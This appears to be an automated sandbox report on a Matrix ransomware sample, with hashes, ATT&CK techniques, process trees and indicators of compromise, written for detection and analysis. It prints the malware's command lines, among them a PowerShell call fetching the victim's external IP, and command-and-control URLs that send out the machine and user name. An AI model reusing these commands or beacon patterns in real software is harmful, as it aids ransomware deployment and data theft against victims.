matrix | 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

Analysis

max time kernel
34s
max time network
66s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 08:38

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General

Target

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Size

1.2MB
MD5

268360527625d09e747d9f7ab1f84da5
SHA1

09772eb89c9743d3a6d7b2709c76e9740aa4c4b1
SHA256

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620
SHA512

07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Score

10^/10

matrix persistence ransomware spyware stealer suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Signatures

Matrix Ransomware 3 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

description	flow	ioc
HTTP URL	14	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=bZOJ7bVajtqrzxCX&phase=START
HTTP URL	146	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=bZOJ7bVajtqrzxCX&phase=[ALL]3F2E5BC44C912053
HTTP URL	147	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=bZOJ7bVajtqrzxCX&phase=3F2E5BC44C912053\|3534\|3GB

suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata

Executes dropped EXE 1 IoCs

Processes:

NW0uw7vi.exe

pid	Process
3656	NW0uw7vi.exe

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

description	ioc	Process
File opened (read-only)	\??\Z:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\Y:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\S:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\P:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\G:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\W:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\V:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\O:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\K:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\J:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\Q:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\N:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\M:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\H:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\E:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\I:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\F:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\X:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\U:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\T:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\R:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\L:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

Drops file in Windows directory 6 IoCs

Processes:

svchost.exe

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

WaaSMedicAgent.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

svchost.exe

description	pid	Process
Token: SeShutdownPrivilege	1560	svchost.exe
Token: SeCreatePagefilePrivilege	1560	svchost.exe
Token: SeShutdownPrivilege	1560	svchost.exe
Token: SeCreatePagefilePrivilege	1560	svchost.exe
Token: SeShutdownPrivilege	1560	svchost.exe
Token: SeCreatePagefilePrivilege	1560	svchost.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.execmd.exe

description	pid	Process	procid_target
PID 3520 wrote to memory of 2056	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	83
PID 3520 wrote to memory of 2056	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	83
PID 3520 wrote to memory of 2056	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	83
PID 3520 wrote to memory of 3656	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	85
PID 3520 wrote to memory of 3656	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	85
PID 3520 wrote to memory of 3656	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	85
PID 3520 wrote to memory of 4280	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	93
PID 3520 wrote to memory of 4280	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	93
PID 3520 wrote to memory of 4280	3520	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	93
PID 4280 wrote to memory of 4332	4280	cmd.exe	95
PID 4280 wrote to memory of 4332	4280	cmd.exe	95
PID 4280 wrote to memory of 4332	4280	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
"C:\Users\Admin\AppData\Local\Temp\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"
1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\NW0uw7vi.exe"
  2⤵
  PID:2056
- C:\Users\Admin\AppData\Local\Temp\NW0uw7vi.exe
  "C:\Users\Admin\AppData\Local\Temp\NW0uw7vi.exe" -n
  2⤵
  - Executes dropped EXE
  PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\KCavS67F.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    PID:4332

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 95169687e025c6a316ae4925d8796019 v4TlscNIC0O0khsjZD893A.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1560

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\NW0uw7vi.exe

MD5
268360527625d09e747d9f7ab1f84da5

SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1

SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\NW0uw7vi.exe

MD5
268360527625d09e747d9f7ab1f84da5

SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1

SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Download Submit
memory/1560-133-0x0000023874B90000-0x0000023874BA0000-memory.dmp

Filesize
64KB

Download
memory/1560-140-0x0000023877910000-0x0000023877914000-memory.dmp

Filesize
16KB

Download